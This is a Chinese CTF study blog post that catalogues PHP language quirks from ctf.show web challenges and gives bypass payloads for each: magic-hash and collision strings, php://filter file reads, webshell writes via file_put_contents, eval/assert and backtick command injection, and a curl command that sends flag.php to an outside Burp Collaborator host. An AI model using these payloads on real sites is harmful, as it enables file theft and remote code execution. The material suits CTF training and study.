CTF中的PHP特性

本文以ctf.show网站题目为例,总结ctf中的php特性


正则表达式

元字符

在这里插入图片描述

模式修正符

在这里插入图片描述

preg_match()

数组绕过

preg_match()只能处理字符串,当传入的subject是数组时会返回false

if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }

payload:

num[]=1

换行绕过

if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}

payload:

cmd=%0aphp

最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。

if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
} 

python脚本:

import requests
url="http://15bdcf89-9e10-4205-b3b4-6b3a0e45651a.chall.ctf.show:8080/"
data={
	'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

intval()

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
echo intval(false);                   // 0
echo intval(true);                    // 1
?>

字符绕过

intval()而言,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。如果字符串第一个是‘-’,则从第二个开始算起。

if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

payload:

num=4476a

科学计数法

intval()int函数如果 b a s e 为 0 则 base为0则 base0var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中表示科学计数法。

if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }

payload:

num=4476e1

进制转换

0b?? : 二进制
0??? : 八进制
0X?? : 十六进制

if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }

payload:

num=010574

小数点绕过

if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

在上题基础上过滤了开头是‘0’的字符串
进制转换绕过不可行了,只能通过小数点,使得intval()转变为int()
payload:

num=4476.0

strpos()

strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)

md5

参考https://www.freesion.com/article/53561386476/

强类型比较

if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;

此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过
payload:

a[]=1&b[]=2

弱类型比较

if(md5($_GET['a'])==md5($_GET['b']))
echo $flag;

只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会现转换字符串的类型,在进行比较,而在比较是因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

md5碰撞

if($_GET['a']!==$_GET['b'] && md5($_GET['a'])===md5($_GET['b']))
{
	echo $flag;
}

真实md5碰撞,因为此时不能输入数组了,只能输入字符串

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

file_put_contents()

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

file_put_contents() 函数把一个字符串写入文件中。

该函数访问文件时,遵循以下规则:

如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 filename 副本的内置路径 如果文件不存在,将创建一个文件
打开文件 如果设置了 LOCK_EX,那么将锁定文件 如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
向文件中写入数据 关闭文件并对所有文件解锁 如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

in_array()

in_array() 函数搜索数组中是否存在指定的值。

in_array(search,array,type)

type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
in_array延用了php中的==

$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system('ls');?>再访问/1.php即可
}

优先级

符号

$bA = true;
$bB = false;
$b1 = $bA and $bB;
$b2 = $bA && $bB;
var_dump($b1); // $b1 = true
var_dump($b2); // $b2 = false
$bA = false;
$bB = true;
$b3 = $bA or $bB;
$b4 = $bA || $bB;
var_dump($b3); // $b3 = false
var_dump($b4); // $b4 = true

&&与||的优先级高于=
=的优先级高于and与or

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
   	......
}

只要令v1=数字,v0就为true

get post

http协议默认先以get方式获取数据,无论是否以哪种方式发起的,总是get方式优先,即通过get方式获取到了数据就不会再去通过post方式获取一遍,如果get方式获取不到,再以post方式获取。

ReflectionClass反射类

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  //获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    //获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); //获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); //获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

call_user_func回调函数

call_user_func(callback,parameter )

第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。
常使用hex2bin()作为回调函数(16进制转化为字符)

PHP伪协议

写文件

配合file_put_contents( v 3 , v3, v3,str);函数 //在需要base64转换的时候

v3=php://filter/write=convert.base64-decode/resource=1.php&str=......

读文件

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}

通常我们使用:

php://filter/read=convert.base64-encode/resource=flag.php

当ban掉base64的时候,我们还可以用其他编码方式(或者不编码):

php://filter/resource=flag.php		
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php	//可打印字符引用编码
compress.zlib://flag.php		//压缩流

伪协议支持多种编码方式,无效的ctfshow就被忽略掉了:

f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter

is_file()函数

判断是否为文件

php伪协议绕过

highlight_file()可以识别php伪协议 is_file()不能识别php伪协议

/proc/self/root

在linux中/proc/self/root是指向根目录的 也就是如果在命令行中输入 ls /proc/self/root
其实显示的内容是根目录下的内容 多次重复后绕过is_file

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

sha1

数组绕过

if(sha1($v1)==sha1($v2) && $v1!=$v2){
  	echo $flag;
}

payload:

v1[]=1
v2[]=2

强类型比较

v1=aaK1STf    //0e7665852665575620768827115962402601
v2=aaO8zKZF   //0e89257456677279068558073954252716165

parse_str()

parse_str() 函数把查询字符串解析到变量中。

<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
结果
Bill
60

注意:
若要post参数,需加引号,如:

v1='flag=0'

ereg()截断漏洞

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

payload:

c=a%00778

反转后:c=877=0x36d

strrev()

反转字符串,常出现在%00截断漏洞中
注:%00是一个整体,不会反转成00%

Exception 异常处理类

和ReflectionClass反射类用法相似,该类中常用的成员函数如下所示:

getMessage():返回异常的消息内容;
getCode():以数字形式返回异常代码;
getFile():返回发生异常的文件名;
getLine():返回发生错误的代码行号;
getTrace():返回 backtrace() 数组;
getTraceAsString():返回已格式化成字符串的、由函数 getTrace() 函数所产生的信息;
__toString():产生异常的字符串信息,它可以重载。注意,该函数最前部是两个下划线。

可以和system连用:

Reflectionclass(system('cat `ls`'));

FilesystemIterator类读取文件

FilesystemIterator获取指定目录下的所有文件
getcwd()函数:获取当前工作目录 返回当前工作目录

FilesystemIterator(getcwd());

php变量

$GLOBALS

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");//$v1和$v2指向同一地址,此时$v1=$v2
    var_dump($$v1);
}

payload:

v1=ctfshow&v2=GLOBALS  //构成$GLOBALS

get_defined_vars()

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
用法:

var_dump(get_defined_vars())

变量命名

PHP变量命名规则:
只能包含:字母、数字、下划线
其中,只能以字母、下划线开头

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){

php变量命名不允许出现 .(点号),需要绕过’CTF_SHOW.COM’

GET或POST方式传进去的变量名,会自动将 空格 + . [ 转换为 _

特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了 因此:

CTF[SHOW.COM => CTF_SHOW.COM

Fuzz测试

$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}

is_numeric()绕过

is_numeric()要求识别为数字,但不能是“36“

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}
输出:%09%0A、 %0B、 %0C、 %0D、 +%2B、 -.(点)、

trim()绕过

trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       	- NULL
"\t"       	- 制表符
"\n"      	- 换行
"\x0B"     	- 垂直制表符
"\r"       	- 回车
" "        	- 空格

编写fuzz脚本

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
输出:%0C、%2B(+号)、-.(点)、0123456789

$_SERVER[‘QUERY_STRING’]

1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

由实例可知:
$_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名

网页模式下:
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(!isset($_GET['fl0g'])){
  	eval("$c".";");  
  	if($fl0g==="flag_give_me"){
      	echo $flag;
   	} 

payload:

get:	?$fl0g=flag_give_me					    //1+flag_give_me		
post:	fun=assert($a[0])	//eval($a[0]) 		//parse_str($a[1])
或
get:	1=flag.php
post:	fun=highlight_file($_GET[1])

assert()断言

assert() 断言:

PHP 5
bool assert ( mixed $assertion [, string $description ] )

PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加

gettext拓展

在开启该拓展后 _() 等效于 gettext()

echo gettext("phpinfo"); 
结果  phpinfo
echo _("phpinfo"); 
结果 phpinfo 

shell_exec()

if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }

套娃命令执行:

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`"); //``是shell_exec()函数的缩写
前面的命令我们不需要管,但是后面的命令我们可以自由控制。

curl命令

curl用法指南

curl -X POST -F xx=@flag.php http://9isaiekb9mnaymhxdhbm9hz52w8mwb.burpcollaborator.net
# -X POST  指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件 

burpsuite使用
在这里插入图片描述
在这里插入图片描述

prase_str()和extract()

parse_str():把查询字符串解析到变量中。
extract():从数组中将变量导入到当前的符号表
注意区别: extract是将数组中元素分解,执行后数组的key值作为变量名,数组的value赋值给对应Key的变量,这样可以直接通过Key变量去访问,不用数组加key去访问。 即:从数组中创建变量

parse_str是根据"="来分解字符串,主要用于对url参数的解析。

@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

payload:

get:_POST[key1]=36d&_POST[key2]=36d

经过parse_str($_SERVER['QUERY_STRING']) 	==> $_POST[key1]=36d 数组形式
经过extract($_POST)						==> $key=36d

nl、cp、mv、tee写文件

在禁命令的时候没有限制写文件:

nl flag.php>1.txt
cp flag.php>1.txt
mv flag.php>1.txt

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件

ls /|tee 1
然后访问/1下载文件
  • 12
    点赞
  • 67
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值